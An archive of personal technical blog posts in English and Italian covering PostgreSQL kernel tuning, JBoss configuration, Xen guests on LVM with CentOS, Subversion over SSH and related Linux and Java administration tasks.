You can reduce an uber jar of 10 MB to 0,5 MB without many problems !!!

Tuning PostgreSQL on Linux

2009-02-11T20:05:00.002Z

I've found an interisting documentation page which applies to our storage production environment: it's about kernel resources.

In brief, on a Linux box we can face three problems:
System V IPC Parameters
The default maximum segment size is 32 MB, which is only adequate for small PostgreSQL installations. However, the remaining defaults are quite generously sized, and usually do not require changes. The maximum shared memory segment size can be changed via the sysctl interface. For example, to allow 128 MB, and explicitly set the maximum total shared memory size to 2097152 pages (the default):
<samp class="PROMPT">$ sysctl -w kernel.shmmax=134217728
$ sysctl -w kernel.shmall=2097152
In addition these settings can be saved between reboots in /etc/sysctl.conf.
Older distributions might not have the sysctl program, but equivalent changes can be made by manipulating the /proc file system:
$ echo 134217728 >/proc/sys/kernel/shmmax
$ echo 2097152 >/proc/sys/kernel/shmall
Memory Overcommit
In Linux 2.4 and later, the default virtual memory behavior is not optimal for PostgreSQL. Because of the way that the kernel implements memory overcommit, the kernel might terminate the PostgreSQL server (the master server process) if the memory demands of another process cause the system to run out of virtual memory.
If this happens, you will see a kernel message that looks like this (consult your system documentation and configuration on where to look for such a message):
Out of Memory: Killed process 12345 (postgres).
This indicates that the postgres process has been terminated due to memory pressure. Although existing database connections will continue to function normally, no new connections will be accepted. To recover, PostgreSQL will need to be restarted.
One way to avoid this problem is to run PostgreSQL on a machine where you can be sure that other processes will not run the machine out of memory. If memory is tight, increasing the swap space of the operating system can help avoiding the problem, because the out-of-memory (OOM) killer is invoked whenever physical memory and swap space are exhausted.
On Linux 2.6 and later, an additional measure is to modify the kernel's behavior so that it will not "overcommit" memory. Although this setting will not prevent the OOM killer from being invoked altogether, it will lower the chances significantly and will therefore lead to more robust system behavior. This is done by selecting strict overcommit mode via sysctl:
sysctl -w vm.overcommit_memory=2
or placing an equivalent entry in /etc/sysctl.conf. You might also wish to modify the related setting vm.overcommit_ratio. For details see the kernel documentation file Documentation/vm/overcommit-accounting.
Some vendors' Linux 2.4 kernels are reported to have early versions of the 2.6 overcommit sysctl parameter. However, setting vm.overcommit_memory to 2 on a kernel that does not have the relevant code will make things worse not better. It is recommended that you inspect the actual kernel source code (see the function vm_enough_memory in the file mm/mmap.c) to verify what is supported in your copy before you try this in a 2.4 installation. The presence of the overcommit-accounting documentation file should not be taken as evidence that the feature is there. If in any doubt, consult a kernel expert or your kernel vendor.
Resource Limits
Unix-like operating systems enforce various kinds of resource limits that might interfere with the operation of your PostgreSQL server. Of particular importance are limits on the number of processes per user, the number of open files per process, and the amount of memory available to each process. Each of these have a "hard" and a "soft" limit. The soft limit is what actually counts but it can be changed by the user up to the hard limit. The hard limit can only be changed by the root user. The system call setrlimit is responsible for setting these parameters. The shell's built-in command ulimit (Bourne shells) or limit (csh) is used to control the resource limits from the command line. On BSD-derived systems the file /etc/login.conf controls the various resource limits set during login. See the operating system documentation for details. The relevant parameters are maxproc, openfiles, and datasize. For example:
default:\
...
:datasize-cur=256M:\
:maxproc-cur=256:\
:openfiles-cur=256:\
...
(-cur is the soft limit. Append -max to set the hard limit.)
Kernels can also have system-wide limits on some resources.

On Linux /proc/sys/fs/file-max determines the maximum number of open files that the kernel will support. It can be changed by writing a different number into the file or by adding an assignment in /etc/sysctl.conf. The maximum limit of files per process is fixed at the time the kernel is compiled; see /usr/src/linux/Documentation/proc.txt for more information.
The PostgreSQL server uses one process per connection so you should provide for at least as many processes as allowed connections, in addition to what you need for the rest of your system. This is usually not a problem but if you run several servers on one machine things might get tight.

The factory default limit on open files is often set to "socially friendly" values that allow many users to coexist on a machine without using an inappropriate fraction of the system resources. If you run many servers on a machine this is perhaps what you want, but on dedicated servers you might want to raise this limit.
On the other side of the coin, some systems allow individual processes to open large numbers of files; if more than a few processes do so then the system-wide limit can easily be exceeded. If you find this happening, and you do not want to alter the system-wide limit, you can set PostgreSQL's max_files_per_process configuration parameter to limit the consumption of open files.

JBoss and PermGen OutOfMemoryError

2009-02-03T10:53:00.001Z

The "PermGen" error happens, when the Java virtual machine runs out of memory in the permanent generation. Recall that Java has a generational garbage collector, with four generations: eden, young, old and permanent.

In the eden generation, objects are very short lived and garbage collection is swift and often.

The young generation consists of objects that survived the eden generation (or was pushed down to young because the eden generation was full at the time of allocation), garbage collection in the young generation is less frequent but still happens at quite regular intervals (provided that your application actually does something and allocates objects every now and then).

The old generation, well, you figured it. It contains objects that survived the young generation, or have been pushed down, and garbage collection is even less infrequent but can still happen.

And finally, the permanent generation. This is for objects that the virtual machine has decided to endorse with eternal life - which is precicely the core of the problem. Objects in the permanent generation are never garbage collected; that is, under normal circumstances when the jvm is started with normal command line parameters.

So what happens when you redeploy your web application is, that your WAR file is unpacked and its class files loaded into the jvm. And here's the thing: almost always ends up in the permanent generation... Because, seriously, who wants to garbage collect their classes?!? Well, apparently application servers do, and here's how we make that happen for JBoss, but the same configuration is applicable to other application servers, adding the following parameters to the bin/run.conf file at JAVA_OPTS line:

-XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled -XX:MaxPermSize=128m

Consider eventually tuning the MaxPermSize=128m part to fit your needs...

JBoss and multiple environments

2009-02-03T09:45:00.000Z

Here at SmartLab we use four environments during the software life-cycle, each with it's own characteristics:
the development environment is the one running on each development computer and allows each developer to write and test it's own code in a non-shared environment without worring about concurrency or conflicting changes;
the integration-test, also know as test, environment is the first opportunity for multiple developers and development teams to integrate the different parts into a single solution and this environment usually respect the architectural principles of the project but it can be limited by any factor;
the demo environment is the last developers-accessible environment and it fully respects all the architectural choices made for the system, in addition this environment should provide some sort of access from the outer world to allow for pre-release revisions;
the production environment is where the system is deployed for public access.
The preceding environments are listed in ascending order of importance, security needs and computational power; each one runs an application server which needs to be configured in a proper way to fit the environment specific needs.

File logging is configured:
development - at a trace level and without rotation or append
test - at a debug level without rotation but with append
demo - at an info level with rotation and append
production - at an info level with rotation, append and backup
Console logging is configured:
development - at a debug level
test - at a warn level
demo - at a warn level
production - at an error level (used only to ensure startup ha been performed correctly)
Email loggin is configured:
development and test - none
demo - error level messages are sent to developers
production - error level messages are sent to the project leader immediately, warnings are sent on a per day basis to developers
Administration console security is configured:
development - no protection
test,demo and production - password protected
demo and production - ciphered protocol
File permissions are set to:
development - no protection
test and demo - stiky bit and readwrite permissions on %devel for deplyment folders, logs and temporary dirs
production - stiky bit and readwrite permissions on %manager for deplyment folders,

Dreamweaver CS3 on Crossover Linux Pro 7.1.0 [NOT WORKING]

2009-01-23T12:47:00.000Z

Install your licensed Dreamweaver CS3 into a Windows XP host (you can use a virtualized machine for this) and run it at least once (to correctly register the product and verify the serial code), then prepare to move some files and registry keys from your Windows XP installation to your Linux box:
C:\Program Files\Adobe must go into ~/.cxoffice/your-bottle/drive_c/Program Files/
C:\Program Files\Common Files\Adobe must go into ~/.cxoffice/your-bottle/drive_c/Program Files/Common Files/
C:\Windows\Macromed must go into ~/.cxoffice/your-bottle/drive_c/Windows/
C:\Windows\WinSxs must go into ~/.cxoffice/your-bottle/drive_c/Windows/
Now you have to export your entire HKEY_LOCAL_MACHINE/Software/Macromedia/ registry key to a file and copy it into your Linux box. Now you have to run recode ucs-2..ascii exported.reg and import the recoded registry file into your-bottle registry.

You should now be able to run your Dreamweaver CS3 issuing the following command on the command line:
/opt/cxoffice/bin/wine --bottle your-bottle ~/.cxoffice/your-bottle/drive_c/Program Files/Adobe/Adobe Dreamweaver CS3/Dreamweaver.exe

Dual boot: AUTOCHK program not found

2009-01-22T13:40:00.001Z

Today I faced a strange behavior while booting in my Windows Vista partition having a black screen showing the message "AUTOCHK program not found" followed by a BSOD and a quick reboot.

The problem was not resolved by a common bootrec /fixmbr command issued on the Vista Recovery Console and I could not solve it using grub too (btw, my system is in dual boot with Ubuntu Intrepid Ibex).

After googling a little bit I've found some instructions suggesting to unhide the Vista partition, but suddenly I discovered my Vista partition was not hidden, instead it's partition type was unknow!!!

The output of sudo fdisk -l infact was reporting a type unknow for my /dev/sda2 (my Vista partition), consequently I opened up the Gnome Partition Editor, selected my Vista Partition and changed the partition flags adding the hidden flag, suddenly the fdisk output changed reporting an Hidden HPFS/NTFS partition. Reopening the Gnome Partition Editor and removing the hidden flag restored my partition type to 7 HPFS/NTFS.

For sake of completness my partition and mbr mangling was due to my attempt to configure my Dell XPS M1330 power on buttons as this notebook has two of them: one to boot into the system and a second one to boot into Windows Media Direct. My attempt was to use the normal power up button to boot into Ubuntu and the second one to boot into Vista. More on the topic will follow if I'll resolve the boot problems ;)

GNU/Linux and FAT32

2009-01-15T15:19:00.001Z

I've found an interesting post about FAT32 filesystem handling under Ubuntu GNU/Linux...

JBoss AOP Made Easy (Included Eclipse WTP)

2008-08-18T17:45:00.001+01:00

First of all the documentation is correct, but it's hard to find out the correct steps to follow, so I'll give here a few quick steps valid in case of JBoss 4.x and Java 5 or Java 6.

delete server/default/deploy/jboss-aop-jdk50.deployer and replace it with jboss-40-install/jboss-aop-jdk50.deployer
move into the new folder and delete common-softvaluehashmap.jar
(already available) and move javassist.jar to ../../lib/javassist.jar (to replace the jboss providen library)
edit server/default/deploy/jboss-aop-jdk50.deployer/META-INF/jboss-service.xml and set the EnableLoadtimeWeaving parameter to true
edit the run.bat or run.sh script and add the java option -javaagent:$JBOSS_HOME/bin/pluggable-instrumentor.jar
Now you can start JBoss from command line, but not from Eclipse as it still misses some parameters: just open the Servers view, double click on your JBoss server and in the editor window click on the Open launch configuration link now you have select the Arguments tab and to append the -javaagent:pluggable-instrumentor.jar directive on the list.

Eclipse Plugins

2008-08-11T11:43:00.002+01:00

Eclipse is my preferred IDE and here follows a list of plugins I commonly use:
Resource Bundle Editor (http://sourceforge.net/projects/eclipse-rbe/)
Log4E (http://log4e.jayefem.de/)
Maven Integration (http://m2eclipse.codehaus.org/)
Subclipse (http://subclipse.tigris.org/)
Wicked Shell (http://www.wickedshell.net/)
QuickREx (http://www.bastian-bergerhoff.com/eclipse/features)
FindBugs (http://findbugs.cs.umd.edu/eclipse)

PostgreSQL on Windows Vista

2008-08-09T01:55:00.003+01:00

Today I experienced a strange behavior of that strange operating system called Windows Vista Premium Edition: I wasn't able to correctly install PostgreSQL 8.2 nor 8.3

At a first look the installation process was ending correctly but whenever I try to start the service or the stand alone server nothing happens. When I tried to start the server from the command line I got something was missing from the installation folder... the entire data subfolder was missing!

After trying without success many installation options I tried to digg into the problem and what I've found is very strange: I don't have the permissions to create that folder!

The strange thing is I had the permission to create the parent installation folder, all the sibling folders containing binaries, extensions and clients... but not the data folder!

I got the short way: I created the data folder, added myself as a user having all rights on the folder then I runned bin\initdb.exe -D data et voilà... the database is ready and working.

Test e profiling di applicazioni web

2008-03-31T20:27:00.001+01:00

Testare e profilare applicazioni web è una attività davvero semplice, infatti sono disponibili molti strumenti, alcuni dei quali anche open source, per svolgere questo compito.

La procedura da seguire varia in funzione del tipo di attività che si vuole eseguire e che individuamo in quattro tipologie:
test funzionali, utili per verificare che l'applicazione risponda ai requisiti
test di non regressione, utili per evitare di introdurre errori durante la manutenzione evolutiva
test di performance, o stress test, per individuare i limiti imposti dall'accoppiata hardware e software
profilatura per l'individuazione di colli di bottiglia e di punti di memory leak
In tutti i casi il tool che suggerisco di utilizzare è Jakarta JMeter, un tool open source realizzato in Java, e quindi utilizzabile su qualunque piattaforma, dotato di comoda interfaccia utente grafica per la realizzazione, manipolazione e verifica dei test.

Se l'applicazione che vogliamo sottoporre a test esiste già o ha una interfaccia utente già definita mediante un prototipo statico, l'attività di creazione del test è davvero banale:
si lancia JMeter e si crea nel Workbench un elemento di tipo HTTP Proxy Server che utilizzeremo per registrare le attività che svolgeremo all'interno del nostro browser
si lancia il browser preferito e si passa alla configurazione dei parametri di rete per fare in modo che utilizzi JMeter (127.0.0.1:8080) come se si trattasse di un server proxy
si attiva, non necessariamente sulla macchina locale, l'applicazione web che vogliamo sottoporre al test
utilizziamo il nostro web browser per navigare all'interno dell'applicazione avendo cura di eseguire tutte le attività che vogliamo sottoporre al test
Alla fine di questi passaggi JMeter avrà registrato tutte le operazione che avremo effettuato e sarà in grado di replicarle tutte le volte che vogliamo.

Se il nostro obiettivo è quello di creare una suite di test funzionali o di non regressione possiamo istruire JMeter per utilizzare una certa serie di parametri oppure di verificare mediante regular expression che l'output restituito contenga una determinata stringa.

Se il nostro obiettivo è quello di effettuare un test prestazionale o una profilatura allora dovremo chiedere a JMeter di eseguire il test in multiutenza ovvero come se si molti computer si connettessero contemporaneamente all'applicazione oltre che di raccogliere le informazioni statistiche di cui abbiamo bisogno.

Gli accorgimenti che suggerisco di seguire sono i seguenti:
raccogliere sempre in un unico punto i parametri relativi al server che si va a testare, così da non dover modificare tutta la suite di test nel caso si dovesse ripetere il test sulla stessa applicazione deployata su un altra macchina
attivare la gestione della sessione attraverso cookies o attraverso url rewriting
definire sempre un listener per verificare le attività svolte dal tool
inserire un eventuale processo di autenticazione (login) in un controller che lo esegua solo la prima volta
definire eventuali liste di parametri comuni a più richieste all'interno dell'apposito elemento di configurazione

PL/Java on CentOS 5

2008-03-25T21:01:00.002Z

Installare la libreria PL/Java su CentOS 5 è stata una dura battaglia.
Ovviamente abbiamo bisogno un Java Runtime per poter utilizzare questa
estensione, in questo caso io ho usato una JDK Sun 1.6.0 update 5 installato attraverso JPackage.

Per questa operazione ho prima scaricato il JDK dal sito della Sun (la versione RPM in self extracting) che ho eseguito e poi ho rimosso i package installati, poi

$ yum install jpackage-utils
$ wget http://mirrors.dotsrc.org/jpackage/1.7/generic/non-free/RPMS/java-1.6.0-sun-compat-1.6.0.05-1jpp.i586.rpm
$ rpm -Uvh jdk-6u5-linux-i586.rpm java-1.6.0-sun-compat-1.6.0.05-1jpp.i586.rpm

Innanzitutto è stato necessario aggiornare la versione di PostgreSQL dalla 8.1.11 (ultima versione disponibile sul repository di CentOS) alla 8.3.1 utilizzando un repository non ufficiale.

$ wget http://yum.pgsqlrpms.org/reporpms/8.3/pgdg-centos-8.3-2.noarch.rpm
$ rpm -Uvh http://yum.pgsqlrpms.org/reporpms/8.3/pgdg-centos-8.3-2.noarch.rpm
$ yum update

A questo punto è possibile installare la versione 1.4.0 di pljava per postgres 8.3

$ wget http://pgfoundry.org/frs/download.php/1598/pljava-i686-pc-linux-gnu-pg8.3-1.4.0.tar.gz
$ tar -zxvf pljava-i686-pc-linux-gnu-pg8.3-1.4.0.tar.gz

Spostiamo i file appena decompressi nelle locazioni più consone sotto CentOS

$ mv pljava.so /usr/lib/pgsql
$ mv pljava.jar /usr/share/java/

Adesso dobbiamo rendere visibili le librerie libjvm.so e poi installare il linguaggio in PostgreSQL

$ ldconfig
$ psql -U postgres template1 < install

Dove ovviamente install è il file che troviamo nella cartella decompressa di pljava!

JBoss 4.2.2 fails to start

2008-03-19T23:37:00.001Z

It can seems weird but on Linux you could incur on a strange startup failure with JBoss 4.2.2

Caused by: java.lang.RuntimeException: Exception creating identity: hostname

This issue is easily solveable just adding your hostname (the one used at prompt) into your /etc/hosts file.

OpenVPN & OpenSSH

2008-03-19T01:10:00.001Z

Per ottenere un livello di sicurezza decente con OpenVPN è necessario mettere in piedi una piccola PKI con tanto di CA Root Certificate.

Oggi ho giocherellato un pò con OpenSSH per passare dal metodo di autenticazione basato su password al metodo di autenticazione basato su chiavi asimmetriche.

Ad un certo punto sono andato in confusione ed ho sbagliato nel configurare le chiavi utilizzate per effettuare l'accesso SSH scambiandole con quelle utilizzate per connettermi alla VPN aziendale. Allora mi è saltato alla mente che in fondo si tratta sempre di una coppia di chiavi asimmetriche RSA! Perchè dovrei generarne altre?

Partendo dalle chiavi generate per OpenVPN e passando per PuTTYGen sono riuscito ad ottenere con facilità l'effetto desiderato: una chiave privata + un certificato X.509 = accesso ai server aziendali!

La procedura è abbastanza banale:

generare la coppia di chiavi pubblica e privata con i tool easyrsa di OpenVPN
aprire la chiave privata con PuTTYGen
salvare la chiave pubblica
esportare la chiave privata in formato OpenSSH

CentOS 5.1 + Xen + LVM for Guests

2008-02-18T13:40:00.009Z

Normalmente per eseguire una installazione di un DomU di Xen usando delle partizioni LVM basterebbe configurare la macchina virtuale per usare il volume scelto usando qualcosa del tipo

disk = [ 'phy:/dev/mapper/vg-dom1,xvda1,w', 'phy:/dev/mapper/vg-dom1swap,xvda2,w']

Purtroppo Anaconda, l'installer di RedHat usato anche da CentOS, non sembra essere in grado di eseguire una installazione usando una partizione quindi il normale processo di installazione vanificherebbe l'utilizzo di LVM per la gestione flessibile dei dischi.

La soluzione, seppur complicata, una volta applicata potrà essere facilmente riutilizzata e replicata.
Partiremo dall'inizio, cioè dalla installazione dell'ambiente host, cioè del Dom0 all'interno del quale installeremo il minor numero di pacchetti possibile per consentire una facile gestione e contemporaneamente un alto livello di sicurezza.

Inserito il disco di CentOS avviamo l'installazione grafica (non quella testuale in quanto non consente la manipolazione dei volumi LVM) e quando arriviamo al partizionamento dei dischi selezioniamo il partizionamento manuale. Creiamo una struttura di partizioni come la seguente:
volume group - base
logical volume - root (4GB)
logical volume - swap (max 2GB)
volume group - xen

Arrivati alla selezione dei pacchetti eliminiamo qualsiasi segno di spunta e chiediamo di rivedere il dettaglio dei pacchetti da installare. A questo punto deselezioniamo qualsiasi segno di spunta dall'elenco dei gruppi (di default vengono spuntati i pacchetti per la connessione remota tramite modem, internet testuale e gli editor) ed attiviamo solamente i pacchetti per la virtualizzazione.

Facciamo completare l'installazione e riavviamo la macchina per poi procedere ad un successivo hardening eliminando i seguenti pacchetti che vengono comunque installati ma che molto probabilmente non saranno necessari:

NetworkManager
amtu
conman
bluez-utils
coolkey
irda-utils
firstboot-tui
irda-utils
pcmciautils
rp-pppoe
virt-manager
gnome-applet-vm

A questo punto prepariamoci all'installazione del sistema operativo guest, o DomU nel gergo xen, utilizzando un disco virtuale su file come base per l'installazione.

Creiamo quindi un disco virtuale di dimensioni iniziali 256MB e dimensioni massime 4GB (tanto per stare sul sicuro) con il seguente comando:

$ dd if=/dev/zero of=/var/lib/xen/images/template.hda.img oflag=direct bs=1M seek=4096 count=256

Facciamo attenzione ad usare la cartella corretta per il file altrimenti avremo problemi successivamente con SELinux.
Adesso abbiamo bisogno dei file initrd.img e vmlinuz necessari ad effettuare il boot dal disco virtuale oltre che di un file di configurazione per Xen che descriva la virtual machine così realizzata.

I primi due possono essere scaricati dal sito di Centos avendo l'accortezza di selezionare la cartella corrispondente all'architettura del sistema operativo ospite: i386 oppure x86_64.

Posizioniamo i due file appena scaricati nella cartella /var/lib/xen e creiamo un file /etc/xen/template per il nuovo DomU come il seguente:

kernel = "/var/lib/xen/vmlinuz-xen-install"
ramdisk = "/var/lib/xen/initrd-xen-install"
#decommentare la linea seguente se abbiamo un kickstart file pubblicato
#extra = "text ks=http://ipaddress/minimal-ks.cfg"
name = "template"
memory = "256"
disk = [ 'tap:aio:/var/lib/xen/images/template.hda.img,xvda,w', ]
vif = [ 'bridge=xenbr0', ]
vcpus=1
on_reboot = 'destroy'
on_crash = 'destroy'

Avviamo la virtual machine attaccandoci alla console ed eseguiamo una normale installazione text based (se non avevamo specificato un kickstart file non interattivo) per il nostro nuovissimo server virtuale, avendo ovviamente cura a selezionare il minimo dei pacchetti necessari:

$ xm create template -c

Non resta che spostare quanto installato sul disco virtuale all'interno di un disco reale gestito in LVM quindi procediamo allo stop della macchina virtuale e creiamo quindi i volumi LVM necessari cioè uno per la partizione root ed uno per l'area di swap:

$ lvcreate -L12288 -ntemplate xen
$ lvcreate -L1024 -ntemplate.swap xen
$ mkfs.ext3 /dev/mapper/xen-template01
$ mkswap /dev/mapper/xen-template01.swap

Ovviamente è possibile variare le dimensioni ed i nomi a piacere. Adesso effettuiamo lo spostamento di quanto presente nella partizione principale del disco virtuale all'interno della partizione LVM appena creata.

$ dd if=/var/lib/xen/images/template.hda.img of=/dev/mapper/xen-template01
$ resize2fs -p /dev/mapper/xen-template01

Ora non ci resta che perfezionare la configurazione del sistema in modo che non ci sia nessun riferimento rispetto all'installazione appena effettuata quindi montiamo il disco appena creato e cominciamo le attività di pulizia:

$ mount /dev/mapper/xen-template01 /media
$ chroot /media

Con quest'ultimo comando abbiamo impostato il disco della configurazione finale come se fosse la root del nostro sistema quindi possiamo avviare tutti i comandi che effettuano modifiche sul disco come se fossimo già all'interno della virtual machine.

Procediamo andando a modificare i punti di mount in fstab

$ vi /etc/fstab

Che dovrà essere modificato per fare riferimento alle partizioni LVM, come riportato nell'esempio seguente dove sono state evidenziate le linee modificate.
/dev/xvda1 / ext3 defaults 1 1
/dev/xvda2 swap swap defaults 0 0
tmpfs /dev/shm tmpfs defaults 0 0
devpts /dev/pts devpts gid=5,mode=620 0 0
sysfs /sys sysfs defaults 0 0
proc /proc proc defaults 0 0

e successivamente dobbiamo modificare la configurazione di GRUB (editando il file /etc/grub.conf) andando anche qui a sostituire LABEL=/ con /dev/xvda1

Prima di avviare la macchina virtuale è necessario ancora eseguire alcune operazioni.

Disattiviamo il supporto ad IPv6 se non è necessario modificando i file:

/etc/sysconfig/network dovrà contenere NETWORKING_IPV6=no

/etc/sysconfig/network-scripts/ifcfg-XXXX dovranno contenere IPV6INIT=no

Disattiviamo il firewall per IPv6 con il comando

$ chkconfig --levels 2345 ip6tables off

Assicuriamoci che al prossimo riavviano venga eseguito il relabel del filesystem per SELinux eseguendo il comando

$ touch /.autorelabel

e che vengano rigenerate le chiavi usate da OpenSSH eliminando quelle già generate:

$ rm /etc/ssh/ssh_host_*

Infine un aggiornamento alle ultime versioni è un'operazione consigliabile

$ yum update

Finita la preparazione della nostra nuova macchina virtuale torniamo al Dom0 per preparaci a gustare i risultati del nostro lavoro.

$ exit
$ umount /media /mnt

Ci rimane da preparare (o modificare) il file di configurazione per Xen in modo che sia in grado di avviare la nostra nuova macchina virtuale. per farlo editiamo il file /etc/xen/template affinchè rispecchi queste nuove proprietà:
name = "template"
bootloader = "/usr/bin/pygrub"
disk = [ 'phy:/dev/mapper/xen-template,xvda1,w','phy:/dev/mapper/xen-template.swap,xvda2,w']
vif = [ 'bridge=xenbr0']
vcpus = 1
on_reboot = 'restart'
on_crash = 'restart'

Per comodità nell'installazione delle successive macchine virtuali converrà creare un nuovo archivio, a partire dal sistema appena installato sul volume LVM, da tenere in disparte per evitare di dover ripetere il processo dall'inizio: con l'archivio già pronto potremo ripartire dalla creazione delle partizioni LVM e limitarci a configurare la rete e l'hostname!

$ dd if=/dev/mapper/xen-template01 of=/var/lib/xen/images/lvm-template.img

Non resta che effettuare lo start della macchina virtuale et voilà,
avete la vostra bella macchina virtuale CentOS 5.1 che lavora su una
partizione LVM.... come promesso!

Subversion: protocol and beyond

2007-08-01T11:06:00.001+01:00

Subversion è un meraviglioso VCS (Version Control System) open source, spesso però non è utilizzato al meglio delle sue capacità. Parlando di configurazione e setup del servizio un modo semplice e tuttavia efficace di mettere in piedi Subversion è quello di utilizzare il protocollo svn+ssh:// anzichè il semplice svn://.

La versione sicura del protocollo nativo di Subversion è abbastanza semplice da configurare e consente:
l'utilizzo di LDAP o RADIUS per lo storage degli utenti attraverso i moduli PAM di SSH;
la gestione dei permessi di accesso ai diversi rami/progetti all'interno di uno stesso repository attraverso i permessi del filesystem;
maggiore sicurezza nella comunicazione grazie alla crittografia del canale;
maggiore velocità e semplicità di configurazione rispetto al protocollo https:// che necessita dell'integrazione con Apache.
Impostare una buona configurazione del protocollo svn+ssh:// è facilissimo, purchè si seguano alcune semplici direttive per ottenere un risultato sufficientemente flessibile.

Innanzitutto è preferibile generare delle host key per ciascun client in modo da evitare la richiesta continua di username e password visto che il client SVN non è in grado di cachare le credenziali di accesso di SSH (è SSH infatti che in questa configurazione ha l'incarico di gestire l'autenticazione).

Iniziamo con l'aprire (o creare se non esiste già) il file svn_user_home/.ssh/authorized_keys (dove svn_user_home indica la home folder dell'utenza con cui svnserve viene eseguito) ed andiamo ad aggiungere una riga per ciascun client in questo formato:
command="svnserve.sh", TYPE KEY xxx@domain.com

dove xxx è lo username che volete attivare mentre TYPE e KEY fanno riferimento al tipo ed all'hash della chiave generata per quell'utente... un momento: non abbiamo ancora generato la chiave! Facciamolo subito come indicato in questa mini guida.

Ovviamente nel file authorized_keys dovremo andare a mettere solamente la chiave pubblica, mentre la chiave privata dovrà essere consegnata all'utente che dovrà connettersi a Subversion.

A questo punto non resta che creare lo script svnserve.sh che andrà ad impostare una umask corretta (suggerisco 002) per l'utilizzo di SVN...

Dal punto di vista autorizzazione possiamo orientarci con l'utilizzo dei gruppi: suggerisco la creazione di almeno un gruppo per ogni progetto SVN, in questo modo i permessi di accesso al singolo progetto potranno essere gestiti aggiungendo o togliendo l'utente dal gruppo di riferimento (è a questo che serve il settaggio della umask).

Volendo essere precisi si può pensare di creare, per ciascun progetto, un gruppo per gli sviluppatori, un gruppo per i tester ed un gruppo per gli amministratori:
prj-devels (lettura e scrittura su branches e trunk del progetto)
prj-testers (lettura su tutto il progetto)
prj-admins (lettura e scrittura su tutto il progetto)
Ovviamente questo dipende dalle necessità della vostra azienda... nessuno vieta la creazione di un solo singolo gruppo di utenti svnusers!